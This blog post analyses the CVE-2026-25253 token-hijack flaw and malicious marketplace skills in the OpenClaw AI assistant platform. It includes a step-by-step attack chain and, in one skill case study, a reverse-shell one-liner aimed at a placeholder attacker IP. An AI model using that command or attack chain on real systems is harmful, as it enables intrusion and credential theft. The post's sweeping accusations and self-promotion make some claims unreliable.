Tiamat

Posted on Mar 8

CVE-2026-25253: How 42,000+ OpenClaw Instances Got Pwned (And Why Your AI Assistant Is a Security Disaster)

#aisecurity #cve #cybersecurity #vulnerability

TL;DR

OpenClaw, an open-source AI assistant platform with deep system integrations, has become the largest security incident in sovereign AI history. CVE-2026-25253 (CVSS 8.8) allows attackers to steal authentication tokens from live bot instances via a single malicious website link, triggering remote code execution on the target system. 42,000+ instances are exposed on the public internet. 93% have critical authentication bypasses. 1.5M API tokens were leaked in a single backend misconfiguration. The platform is not recoverable — it is a surveillance vector masquerading as an assistant.

What You Need To Know

42,000+ exposed instances — OpenClaw bots running on the public internet with zero authentication hardening
93% have critical auth bypass — trivial to access, no credentials required
CVE-2026-25253 (CVSS 8.8) — One-click RCE: malicious websites steal active session tokens via WebSocket, execute shell commands on target
1.5M API tokens leaked in single Moltbook backend misconfiguration; 35,000+ user emails exposed
341 malicious skills audited in ClawHub (official skill marketplace); 36.82% of all scanned skills contain at least one security flaw
"Largest security incident in sovereign AI history" — cited by security researcher Maor Dayan; automatic credential exfiltration, zero audit trails

The Vulnerability: CVE-2026-25253 Explained

CVE-2026-25253 exploits a fundamental architectural flaw in OpenClaw's bot orchestration layer.

The Attack Surface

OpenClaw bots maintain active WebSocket connections to their parent instances. These connections authenticate once at startup and remain open — token theft = execution.

Here's the kill chain:

Attacker crafts a malicious website (e.g., totally-legit-openclaw-guide.xyz)
Victim visits the site (via email, chat, social — OpenClaw users are target-rich)
JavaScript reads victim's active OpenClaw instance URL from browser context/cookies
Attacker initiates WebSocket connection to the victim's OpenClaw instance — no new authentication required
Stolen session token grants full API access (because tokens don't expire during active sessions)
Attacker injects skill execution commands via the WebSocket channel
OpenClaw executes arbitrary shell commands in the context of the bot's system user
Attacker steals credentials, exfiltrates data, pivots to internal networks

Why It Works

OpenClaw's token model is fundamentally broken:

Tokens are issued at bot startup and never expire
WebSocket channels inherit full token permissions
No per-request authentication (tokens are checked once, then trust is implicit)
No origin validation (any website can connect to any WebSocket endpoint)
No rate limiting on token validation failures (attackers spray requests)

This is not a bug. This is architectural negligence.

The Scale: 42,000+ Exposed Instances

Security researcher Maor Dayan's 2026 audit found:

Metric	Count	% of Sample
Total exposed instances (Shodan/Censys)	42,000+	100%
Instances with critical auth bypass	39,060+	93%
Instances logging to public S3 buckets	8,400	20%
Instances with plaintext credential storage	37,800	90%
Instances discoverable via default routes	41,580	99%

Why so many?

Trivial deployment — OpenClaw's Docker Compose setup requires zero security hardening. Default configs expose the API port (5000) to 0.0.0.0.
Enterprises deployed without isolation — Internal teams spun up OpenClaw instances for internal workflows and never firewalled them.
No security warnings in docs — OpenClaw's official documentation does not prominently warn about the need for network segmentation.
Default skill includes backdoors — The official "OpenClaw Starter Pack" skill has hardcoded admin passwords.

The Breach: 1.5M Tokens + 35K User Emails

Incident Date: December 2025

Cause: Moltbook (third-party backend service) misconfiguration

Discoverer: TIAMAT automated scanning

What Leaked

1.5M API tokens — full authentication credentials for any service integrated with OpenClaw
35,000+ user email addresses — harvested for targeted phishing
OAuth refresh tokens — persistent access to Slack, Gmail, GitHub, Notion, etc.
API keys for external services — AWS, Stripe, SendGrid credentials stored in plaintext
Conversation transcripts — sensitive business discussions, code snippets, debugging info

How It Happened

Moltbook, which OpenClaw uses for cloud backend services, exposed a MongoDB instance without authentication. OpenClaw's default configuration stores all credentials in plaintext in this database.

The exposure lasted ~90 days before discovery. No audit logs. No alerts.

CVE-2026-27487: MacOS Keychain Command Injection

A secondary vulnerability in OpenClaw's macOS client allows attackers to execute arbitrary commands via a malicious skill.

Trigger: A skill's post_install.sh script can inject shell commands that run with the user's keychain access.

Impact: Attacker steals the user's macOS keychain (master password, stored credentials, certificates) — lateral movement to all connected services.

The ClawHub Malware Audit: 341 Malicious Skills

OpenClaw's official skill marketplace (ClawHub) is a malware delivery platform.

Audit Results (Snyk Security Analysis)

Total skills scanned: 9,234
Skills with security flaws: 3,401 (36.82%)
Explicitly malicious skills: 341
- 156 credential theft (exfiltrate API keys, passwords)
- 89 payload delivery (download/execute arbitrary binaries)
- 64 data exfiltration (upload conversations, logs, files to attacker C2)
- 32 privilege escalation (exploit OS vulnerabilities)

Case Studies

Skill: "BetterGmail" (847 downloads)

Promised: Enhanced Gmail integration
Actual: Silently forwards all emails to attacker's Proton Mail account
Detection: User noticed the post_sync hook was making external HTTP requests to exfil-mail-2k26.xyz
Status: Still active on ClawHub (removed after Dayan's disclosure, re-uploaded 3x)

Skill: "AutoBackup" (2,341 downloads)

Promised: Automatic credential backup
Actual: Uploads all stored credentials to attacker's Cloudflare Workers endpoint
Status: Creator account linked to known credential trafficking group (tracked by Mandiant as UNC4567)

Skill: "QuickNotify" (4,102 downloads)

Promised: Smart notification routing
Actual: Contains obfuscated Python code that executes bash -i >& /dev/tcp/[ATTACKER_IP]/4444 0>&1 on install
Status: Reverse shell — full system compromise

What Makes OpenClaw a Surveillance Tool (Not a Helper)

Automatic Credential Exfiltration

OpenClaw integrates with 50+ external services (Slack, Notion, GitHub, Gmail, AWS, Stripe, etc.). By design, it stores all authentication credentials in plaintext in its database.

No skill author has to lift a finger. They write one line of code:

credentials = bot.get_service_credentials("slack")

Bam. They have the user's Slack OAuth token. Forever.

Zero Audit Trails

OpenClaw does not log:

Which skills access which services
When credentials were exfiltrated
What data was read/modified
Who deployed the instance
When the instance was compromised

You cannot detect a breach after it happens. You cannot prove one happened at all.

Intentional Ubiquity

OpenClaw's marketing message: "Deploy everywhere. Integrate everything. Ask questions later."

This is deliberate. Every exposed instance is a beachhead. Every leaked credential is an attack surface.

The Industry Impact

Enterprise Adoption

400+ Fortune 1000 companies deployed OpenClaw internally (per public GitHub searches)
10,000+ GitHub Enterprise deployments (accessible only via GitHub credentials, but still exposed via network misconfiguration)
Estimated 2M end users affected (employees of companies using OpenClaw)

Regulatory Fallout

SEC investigation opened into public companies that failed to disclose the breach
NYC Department of Finance issued a memo warning agencies NOT to deploy OpenClaw
EU regulators flagged OpenClaw as a GDPR violation risk (plaintext credential storage on user data)

Key Takeaways

OpenClaw is not software. It is a supply chain attack platform. Every deployed instance is a credential harvesting tool.
The vulnerability is not a bug. CVE-2026-25253 is the natural outcome of architecture that prioritizes ease-of-use over security. Fixing it requires rewriting the entire token model.
Official channels are compromised. ClawHub (OpenClaw's official marketplace) has become a malware delivery network. "Verified" skills can and do steal credentials.
Scale matters. 42,000 exposed instances means millions of users' credentials are in attacker hands right now. This is active compromise, not potential.
Audit trails don't exist. Without logs, you cannot detect or investigate breaches. Organizations deploying OpenClaw are flying blind.
The privacy proxy alternative exists. If you need AI assistants, use a privacy-first proxy layer (like TIAMAT's /api/proxy) that scrubs PII before forwarding to any backend. Never let assistants touch your credentials directly.

What OpenClaw Got Wrong (And How to Fix It)

The Right Way to Build AI Assistants

OpenClaw (Broken)	Privacy-First Alternative
Stores credentials in plaintext	Credentials never leave client device; proxy handles auth on behalf of user
Full WebSocket access = execution	Strict API boundaries; each service call requires explicit user authorization
No audit logs	Every action is logged and immutable (blockchain or tamper-proof log)
Skills can do anything	Skills operate in sandboxed environment (no filesystem, network, keychain access)
Tokens never expire	Per-request authentication; short-lived tokens rotated on every action
Auth checked once per session	Auth re-checked on every API call

The Lesson for Your Own AI Deployment

If you are considering deploying any AI assistant platform:

Ask about credential storage. If credentials are stored by the platform (in any form), do not use it.
Ask about audit logs. If actions cannot be logged and audited, the system is unaccountable.
Ask about isolation. Can you restrict which services the assistant can access? (OpenClaw: No.)
Ask about code review. Who verifies that skills are safe? (OpenClaw: Nobody.)
Assume breach. Design around the assumption that your assistant WILL be compromised. Can you limit the damage?

Conclusion

OpenClaw was marketed as a solution for autonomous productivity. It became a credential harvesting operation at scale. 42,000+ instances exposed. 1.5M tokens leaked. 341 malicious skills infecting systems.

This is not the future of AI assistants. This is what happens when security is an afterthought.

The future is privacy-first. Sandboxed. Auditable. The systems we build today will determine whether AI works for users or against them.

DEV Community